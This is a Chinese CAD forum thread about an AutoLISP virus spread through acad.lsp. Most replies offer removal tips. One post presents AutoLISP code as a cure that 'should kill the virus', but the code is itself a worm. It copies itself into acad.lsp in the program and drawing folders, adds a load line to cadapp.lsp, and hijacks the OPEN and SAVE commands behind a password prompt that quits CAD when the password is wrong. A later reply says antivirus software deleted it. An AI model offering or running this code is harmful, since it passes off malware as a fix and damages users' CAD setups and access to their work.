明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
楼主: kaixinmao

[原创]LSP病  毒???

  [复制链接]
发表于 2006-10-27 19:14:00 | 显示全部楼层
谢谢楼主将代码帖出来哦
发表于 2006-11-4 11:03:00 | 显示全部楼层

我也早就找到杀这个病毒的方法了。呵……

发表于 2006-11-29 22:52:00 | 显示全部楼层
这个病毒是自动加载的,你也可以UNDEFINE掉用的指令,让其连绘直线都不可以,不过删掉ACAD。LSP就可以了,不算太恶劣。
发表于 2006-12-2 21:20:00 | 显示全部楼层
我上班用的电脑也有一个这样的LSP,我加载过,好像没事!
发表于 2007-1-18 22:23:00 | 显示全部楼层

是我做的

发表于 2007-2-8 08:46:00 | 显示全部楼层

应该搜索整个电脑上的acad.lsp文件, 然后删掉就行了

发表于 2007-3-8 23:06:00 | 显示全部楼层
没见过,要学习和研究。
发表于 2007-5-2 13:42:00 | 显示全部楼层
niu wo gei laoshi chunanti le
发表于 2007-6-7 15:29:00 | 显示全部楼层
用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).

(defun S::STARTUP (/        old_cmd  lctn     dwglctn  mnllctn
                   applctn  oldacad  newacad  nowdwg   lspbj
                   wjm      wjm1     wjqm     wjqm1    wz
                   ns1      ns2      wjm0     wjqm0
                  )
  (setq lst0 (list "(" "load" "CADstartup.lsp" ")"))
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn)
    (if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn)
      (if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) )))
  (setq lctn lctn0)
  (setq lctn (substr lctn 1 (- (strlen lctn) 8)))
  (setq mnllctn (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(if (equal  (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
  (setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) )
  (setq wjqm (strcat lctn "acad.lsp"))
  (setq wjqm0 (strcat lctn "cadapp.lsp"))
  (if (setq wjm0 (open wjqm0 "a"))
    ;(progn
    ;(setq aa (read-line wjm0))
    ;(if (/= aa "load CADstartup.lsp")
    (progn
      (setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0)))
      (write-line aa wjm0)
      )
      (close wjm0)
    )
  
     (setq oldacad (findfile "CADstartup.lsp"))
       (setq newacad (strcat lctn "acad.lsp"))
       (writeapp)
  (setq oldacad (findfile "acad.lsp"))
  (setq newacad (strcat dwglctn "acad.lsp"))
       (writeapp)
  (command "undefine" "open")
  (command "undefine" "save")
  (setvar "cmdecho" old_cmd)
(print "This is CAD")
  (princ)
)
(defun writeapp ()
  (if
    (setq wjm1 (open newacad "w"))
     (progn
       (setq wjm (open oldacad "r"))
       (while
         (setq wz (read-line wjm))
          (write-line wz wjm1)
       )
       (close wjm)
       (close wjm1)
     )
  )
)
(defun C:open (/ p cont old_cmd)
  (setq
    old_cmd (getvar "cmdecho")
  )
  (setvar "cmdecho" 0)
  (setq p "12345")
  (setq p0 (getstring "\Input Pass Word:"))
  (if (eq p p0) (progn
    (command "redefine" "open")
    (command "open" "")) (command "quit" ""))
)
(defun C:save (/ old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
   (setq p0 (getstring "\Are you finish?"))
  (command "redefine" "save")
  (command  "save" "")
  (setvar "cmdecho" old_cmd)
  (princ)
)
发表于 2007-8-6 11:12:00 | 显示全部楼层
试了试,被卡巴给杀了
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-11-25 23:40 , Processed in 0.175635 second(s), 19 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表